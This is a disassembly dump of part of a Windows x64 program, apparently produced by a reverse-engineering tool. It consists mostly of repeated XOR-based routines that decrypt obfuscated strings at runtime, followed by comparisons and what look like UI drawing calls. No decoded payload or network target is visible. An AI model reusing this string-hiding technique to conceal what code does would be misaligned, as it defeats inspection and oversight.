cmova rdx, qword [0x1401951e8]
mov r8, qword [0x1401951f8]
mov rcx, rdi
call fcn.14007de40
mov rdx, r12
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova rdx, qword [0x140195208]
mov r8, qword [0x140195218]
mov rcx, r15
call fcn.14007de40
mov rdx, r13
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova rdx, qword [0x140195228]
mov r8, qword [0x140195238]
mov rcx, r14
call fcn.14007de40
lea rdx, [0x140195248]
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova rdx, qword [0x140195248]
mov r8, qword [0x140195258]
lea rcx, [0x1401952c8]
call fcn.14007de40
cmp byte [0x1401966f4], 0
je 0x140092313
cmp byte [0x1401966f7], 0
jne 0x140092313
lea rax, [rbp + 0x1100]
mov qword [rsp + 0x50], rax
movups xmm3, xmmword [0x140160758]
movups xmmword [rbp + 0x670], xmm3
movsd xmm0, qword [0x140160768]
movsd qword [rbp + 0x680], xmm0
movzx eax, word [reloc.WLDAP32.dll_Ordinal_60]
mov word [rbp + 0x688], ax
xor r8d, r8d
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x1400916f3
movdqa xmm4, xmmword [0x1401632f0]
movdqa xmm2, xmmword [0x1401202d0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401631a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm2, xmmword [str.00000000]
movq xmm1, xmm3
xorps xmm2, xmm1
movq qword [rbp + 0x670], xmm2
movdqa xmm3, xmmword [0x140163190]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401631a0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm2, xmmword [str.00000000]
movq xmm0, qword [rbp + 0x678]
xorps xmm2, xmm0
movq qword [rbp + 0x678], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x670]
lea r9, [r9 + rax*2]
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x35
movzx eax, r8w
sub ax, cx
add ax, 0x30
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0xd
jl 0x140091710
lea rdx, [rbp + 0x670]
lea rcx, [rbp + 0x1100]
call fcn.140062c70
mov r14, rax
movups xmm0, xmmword [0x140160700]
movups xmmword [rbp + 0xe40], xmm0
movups xmm1, xmmword [0x140160710]
movups xmmword [rbp + 0xe50], xmm1
movups xmm0, xmmword [0x140160720]
movups xmmword [rbp + 0xe60], xmm0
movups xmm1, xmmword [0x140160730]
movups xmmword [rbp + 0xe70], xmm1
movups xmm0, xmmword [str.__169_X]
movups xmmword [rbp + 0xe80], xmm0
movzx eax, word [0x140160750]
mov word [rbp + 0xe90], ax
xor eax, eax
mov r8d, eax
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x1400918df
movdqa xmm5, xmmword [0x1401202d0]
movdqa xmm4, xmmword [0x1401632f0]
movdqa xmm6, xmmword [0x1401631a0]
movdqa xmm7, xmmword [str.00000000]
lea rcx, [rbp + 0xe40]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add r8d, 8
lea rcx, [rcx + 0x10]
cmp r8d, 0x28
jl 0x1400917f0
cmp r8d, 0x29
jge 0x140091924
movsxd rax, r8d
lea r9, [rbp + 0xe40]
lea r9, [r9 + rax*2]
nop dword [rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x35
movzx eax, r8w
sub ax, cx
add ax, 0x30
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x29
jl 0x1400918f0
lea rdx, [rbp + 0xe40]
lea rcx, [rbp + 0xf60]
call fcn.140062c70
nop
mov r8, r14
mov rdx, rax
lea rcx, [rbp + 0xf80]
call fcn.140088340
mov rdx, rax
mov rcx, rdi
call fcn.140065910
lea rcx, [rbp + 0xf80]
call fcn.1400647c0
lea rax, [rbp + 0xfa0]
mov qword [rsp + 0x50], rax
movups xmm7, xmmword [0x1401607c8]
movups xmmword [rbp + 0x690], xmm7
movsd xmm0, qword [0x1401607d8]
movsd qword [rbp + 0x6a0], xmm0
movzx eax, word [reloc.WLDAP32.dll_Ordinal_60]
mov word [rbp + 0x6a8], ax
xor r8d, r8d
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140091a99
movdqa xmm4, xmmword [0x1401632f0]
movdqa xmm6, xmmword [str.00000000]
movdqa xmm2, xmmword [0x1401202d0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401631a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm1, xmm7
xorps xmm3, xmm1
movq qword [rbp + 0x690], xmm3
movdqa xmm2, xmmword [0x140163190]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401631a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x698]
xorps xmm3, xmm0
movq qword [rbp + 0x698], xmm3
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x690]
lea r9, [r9 + rax*2]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x35
movzx eax, r8w
sub ax, cx
add ax, 0x30
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0xd
jl 0x140091ab0
lea rdx, [rbp + 0x690]
lea rcx, [rbp + 0xfa0]
call fcn.140062c70
mov r14, rax
movups xmm0, xmmword [0x140160780]
movups xmmword [rbp + 0xdb0], xmm0
movups xmm1, xmmword [0x140160790]
movups xmmword [rbp + 0xdc0], xmm1
movups xmm0, xmmword [0x1401607a0]
movups xmmword [rbp + 0xdd0], xmm0
movups xmm1, xmmword [0x1401607b0]
movups xmmword [rbp + 0xde0], xmm1
movsd xmm0, qword [0x1401607c0]
movsd qword [rbp + 0xdf0], xmm0
xor eax, eax
mov r8d, eax
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140091c6f
movdqa xmm5, xmmword [0x1401202d0]
movdqa xmm4, xmmword [0x1401632f0]
movdqa xmm6, xmmword [0x1401631a0]
movdqa xmm7, xmmword [str.00000000]
lea rcx, [rbp + 0xdb0]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add r8d, 8
lea rcx, [rcx + 0x10]
cmp r8d, 0x20
jl 0x140091b80
cmp r8d, 0x24
jge 0x140091cb4
movsxd rax, r8d
lea r9, [rbp + 0xdb0]
lea r9, [r9 + rax*2]
nop dword [rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x35
movzx eax, r8w
sub ax, cx
add ax, 0x30
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x24
jl 0x140091c80
lea rdx, [rbp + 0xdb0]
lea rcx, [rbp + 0xfc0]
call fcn.140062c70
nop
mov r8, r14
mov rdx, rax
lea rcx, [rbp + 0xfe0]
call fcn.140088340
mov rdx, rax
mov rcx, r15
call fcn.140065910
lea rcx, [rbp + 0xfe0]
call fcn.1400647c0
lea rax, [rbp + 0x1000]
mov qword [rsp + 0x50], rax
movups xmm7, xmmword [str.cT_ZUYxBU__I_]
movups xmmword [rbp + 0x650], xmm7
movsd xmm0, qword [0x140160858]
movsd qword [rbp + 0x660], xmm0
movzx eax, word [reloc.WLDAP32.dll_Ordinal_60]
mov word [rbp + 0x668], ax
xor r8d, r8d
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140091e29
movdqa xmm4, xmmword [0x1401632f0]
movdqa xmm6, xmmword [str.00000000]
movdqa xmm2, xmmword [0x1401202d0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401631a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm1, xmm7
xorps xmm3, xmm1
movq qword [rbp + 0x650], xmm3
movdqa xmm2, xmmword [0x140163190]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401631a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x658]
xorps xmm3, xmm0
movq qword [rbp + 0x658], xmm3
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x650]
lea r9, [r9 + rax*2]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x35
movzx eax, r8w
sub ax, cx
add ax, 0x30
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0xd
jl 0x140091e40
lea rdx, [rbp + 0x650]
lea rcx, [rbp + 0x1000]
call fcn.140062c70
mov r14, rax
movups xmm0, xmmword [0x1401607f0]
movups xmmword [rbp + 0xea0], xmm0
movups xmm1, xmmword [0x140160800]
movups xmmword [rbp + 0xeb0], xmm1
movups xmm0, xmmword [0x140160810]
movups xmmword [rbp + 0xec0], xmm0
movups xmm1, xmmword [0x140160820]
movups xmmword [rbp + 0xed0], xmm1
movups xmm0, xmmword [0x140160830]
movups xmmword [rbp + 0xee0], xmm0
movzx eax, word [0x140160840]
mov word [rbp + 0xef0], ax
xor eax, eax
mov r8d, eax
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x14009200f
movdqa xmm5, xmmword [0x1401202d0]
movdqa xmm4, xmmword [0x1401632f0]
movdqa xmm6, xmmword [0x1401631a0]
movdqa xmm7, xmmword [str.00000000]
lea rcx, [rbp + 0xea0]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add r8d, 8
lea rcx, [rcx + 0x10]
cmp r8d, 0x28
jl 0x140091f20
cmp r8d, 0x29
jge 0x140092054
movsxd rax, r8d
lea r9, [rbp + 0xea0]
lea r9, [r9 + rax*2]
nop dword [rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x35
movzx eax, r8w
sub ax, cx
add ax, 0x30
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x29
jl 0x140092020
lea rdx, [rbp + 0xea0]
lea rcx, [rbp + 0x10a0]
call fcn.140062c70
nop
mov r8, r14
mov rdx, rax
lea rcx, [rbp + 0x1020]
call fcn.140088340
mov rdx, rax
lea rcx, [0x1401952a8]
call fcn.140065910
lea rcx, [rbp + 0x1020]
call fcn.1400647c0
lea rax, [rbp + 0x1040]
mov qword [rsp + 0x50], rax
movsd xmm0, qword [str.edw4]
movsd qword [rbp + 0xa0], xmm0
movzx eax, word [0x1401608d0]
mov ecx, 0x55
mov word [rbp + 0xa0], cx
xor word [rbp + 0xa2], 0x31
xor word [rbp + 0xa4], 0x32
xor word [rbp + 0xa6], 0x33
xor ax, 0x34
mov word [rbp + 0xa8], ax
lea rdx, [rbp + 0xa0]
lea rcx, [rbp + 0x1040]
call fcn.140062c70
mov r14, rax
movups xmm0, xmmword [str.ctvwa]
movups xmmword [rbp + 0xf00], xmm0
movups xmm1, xmmword [0x140160880]
movups xmmword [rbp + 0xf10], xmm1
movups xmm0, xmmword [0x140160890]
movups xmmword [rbp + 0xf20], xmm0
movups xmm1, xmmword [0x1401608a0]
movups xmmword [rbp + 0xf30], xmm1
movups xmm0, xmmword [0x1401608b0]
movups xmmword [rbp + 0xf40], xmm0
mov eax, dword [0x1401608c0]
mov dword [rbp + 0xf50], eax
xor eax, eax
mov r8d, eax
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x14009227f
movdqa xmm5, xmmword [0x1401202d0]
movdqa xmm4, xmmword [0x1401632f0]
movdqa xmm6, xmmword [0x1401631a0]
movdqa xmm7, xmmword [str.00000000]
lea rcx, [rbp + 0xf00]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add r8d, 8
lea rcx, [rcx + 0x10]
cmp r8d, 0x28
jl 0x140092190
cmp r8d, 0x2a
jge 0x1400922c4
movsxd rax, r8d
lea r9, [rbp + 0xf00]
lea r9, [r9 + rax*2]
nop dword [rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x35
movzx eax, r8w
sub ax, cx
add ax, 0x30
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x2a
jl 0x140092290
lea rdx, [rbp + 0xf00]
lea rcx, [rbp + 0x1060]
call fcn.140062c70
nop
mov r8, r14
mov rdx, rax
lea rcx, [rbp + 0x1080]
call fcn.140088340
mov rdx, rax
lea rcx, [0x1401952c8]
call fcn.140065910
lea rcx, [rbp + 0x1080]
call fcn.1400647c0
mov byte [0x1401966f7], 1
lea r14, [0x1401952a8]
xorps xmm0, xmm0
movups xmmword [rbp + 0x11f8], xmm0
movdqa xmm1, xmmword [0x140163160]
movdqu xmmword [rbp + 0x1208], xmm1
mov byte [rbp + 0x11f8], 0
movups xmmword [rbp + 0x1140], xmm0
movdqu xmmword [rbp + 0x1150], xmm1
mov byte [rbp + 0x1140], 0
movups xmmword [rbp + 0x1120], xmm0
movdqu xmmword [rbp + 0x1130], xmm1
mov byte [rbp + 0x1120], 0
movups xmmword [rbp + 0x11d8], xmm0
movdqu xmmword [rbp + 0x11e8], xmm1
mov byte [rbp + 0x11d8], 0
mov dword [rbp + 0x428], 0x42480000
mov dword [rbp + 0x42c], 0x42dc0000
lea rcx, [rbp + 0x428]
call fcn.140025b20
mov rcx, qword [rbp + 0x98]
call fcn.140025920
mov rdx, rdi
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova rdx, qword [0x140195268]
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova rsi, qword [0x1401951e8]
mov r8, qword [0x1401951f8]
cmp r8, qword [0x140195278]
jne 0x1400925cc
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x1400925cc
mov qword [rbx + 0xd4], 0x3f800000
xor ecx, ecx
mov dword [rbx + 0xdc], ecx
mov dword [rbx + 0xe0], 0x3f800000
movups xmm0, xmmword [0x1401608e8]
movups xmmword [rbp + 0x6f8], xmm0
movzx eax, word [0x1401608f8]
mov word [rbp + 0x708], ax
cmp byte [0x1401608f9], cl
je 0x1400925c0
mov r8d, ecx
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140092575
movdqa xmm5, xmmword [0x1401202d0]
movdqa xmm4, xmmword [0x1401632f0]
movdqa xmm6, xmmword [0x1401631a0]
movdqa xmm0, xmmword [str.0000000000000000]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x6fc]
mov edx, dword [rsp + 0x50]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140163210]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140163210]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140092470
cmp r8d, 0x12
jge 0x1400925c0
movsxd rax, r8d
lea r9, [rbp + 0x6f8]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x12
jl 0x140092590
lea rdx, [rbp + 0x6f8]
jmp 0x140092787
xor ecx, ecx
mov dword [rbx + 0xd4], ecx
mov qword [rbx + 0xd8], 0x3f800000
mov dword [rbx + 0xe0], 0x3f800000
movsd xmm0, qword [0x1401608d8]
movsd qword [rbp + 0x238], xmm0
mov eax, dword [0x1401608e0]
mov dword [rbp + 0x240], eax
movzx eax, word [0x1401608e4]
mov word [rbp + 0x244], ax
cmp byte [0x1401608e5], cl
je 0x140092780
mov r8d, ecx
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140092737
movdqa xmm4, xmmword [0x1401632f0]
movdqa xmm2, xmmword [0x1401202d0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401631a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140163210]
packuswb xmm2, xmm2
mov eax, dword [str.0000000000000000]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x1401608d8]
xorps xmm2, xmm0
movd dword [rbp + 0x238], xmm2
movdqa xmm3, xmmword [0x140163190]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401631a0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140163210]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x23c]
xorps xmm2, xmm1
movd dword [rbp + 0x23c], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x238]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x140092750
lea rdx, [rbp + 0x238]
lea rcx, [rbp + 0x11f8]
call fcn.1400659a0
lea rcx, [rbp + 0x11f8]
cmp qword [rbp + 0x1210], 0xf
cmova rcx, qword [rbp + 0x11f8]
call fcn.14004f330
mov dword [rbp + 0x430], 0x42480000
mov dword [rbp + 0x434], 0x43020000
lea rcx, [rbp + 0x430]
call fcn.140025b20
mov dword [rbx + 0xd4], 0x3f800000
mov dword [rbx + 0xd8], 0x3f800000
mov dword [rbx + 0xdc], 0x3f800000
mov dword [rbx + 0xe0], 0x3f800000
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova rdi, qword [0x140195268]
mov rcx, rdi
call fcn.14004f330
mov dword [rbp + 0x438], 0x42480000
mov dword [rbp + 0x43c], 0x43200000
lea rcx, [rbp + 0x438]
call fcn.140025b20
mov rcx, qword [rbp + 0x98]
call fcn.140025920
mov rdx, r15
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova rdx, qword [0x140195288]
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova r12, qword [0x140195208]
mov r8, qword [0x140195218]
cmp r8, qword [0x140195298]
jne 0x140092a6c
mov rcx, r12
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140092a6c
mov qword [rbx + 0xd4], 0x3f800000
xor r12d, r12d
mov dword [rbx + 0xdc], r12d
mov dword [rbx + 0xe0], 0x3f800000
movups xmm0, xmmword [str.rx_]
movups xmmword [rbp + 0xb8], xmm0
movzx eax, word [0x140160920]
mov word [rbp + 0xc8], ax
movzx eax, byte [0x140160922]
mov byte [rbp + 0xca], al
mov r8d, r12d
mov esi, dword [reloc.WS2_32.dll_accept]
cmp esi, 2
jl 0x140092a15
movdqa xmm5, xmmword [0x1401202d0]
movdqa xmm4, xmmword [0x1401632f0]
movdqa xmm6, xmmword [0x1401631a0]
movdqa xmm0, xmmword [str.0000000000000000]
movdqa xmmword [rsp + 0x50], xmm0
